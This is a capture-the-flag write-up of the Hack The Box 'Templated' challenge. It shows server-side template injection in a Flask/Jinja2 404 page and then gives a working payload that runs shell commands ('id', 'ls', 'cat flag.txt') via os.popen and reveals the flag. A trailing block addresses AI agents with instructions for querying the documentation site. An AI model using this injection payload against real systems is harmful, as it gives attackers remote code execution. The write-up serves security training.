# Templated

Navigating to the website simply displays a message "Site still under construction / Proudly powered by Flask/Jinja2." The challenge is called "Templated" and Jinja2 is used so this is a Jinja2 template injection.

Trying to go to a different page, like `/test`, displays an interesting 404 error "Error 404 / The page 'test' could not be found." Trying other pages shows that we have control over the output `'test'` on the 404 page.

Let's try the standard server-side template injection (SSTI): `{{7*7}}`. Navigating to `/{{7*7}}` displays "The page '49' could not be found". So, the url is vulnerable.

We can find an SSTI payload from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2). For instance, `{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}` allows us to execute arbitrary commands.

Navigating to `/{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }}` displays the contents of the `/` directory: "The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be found."

So, let's not `cat flag.txt` by going to `/{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}`. This displays the flag:

`HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://htb.haydenhousen.com/challenges/templated.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.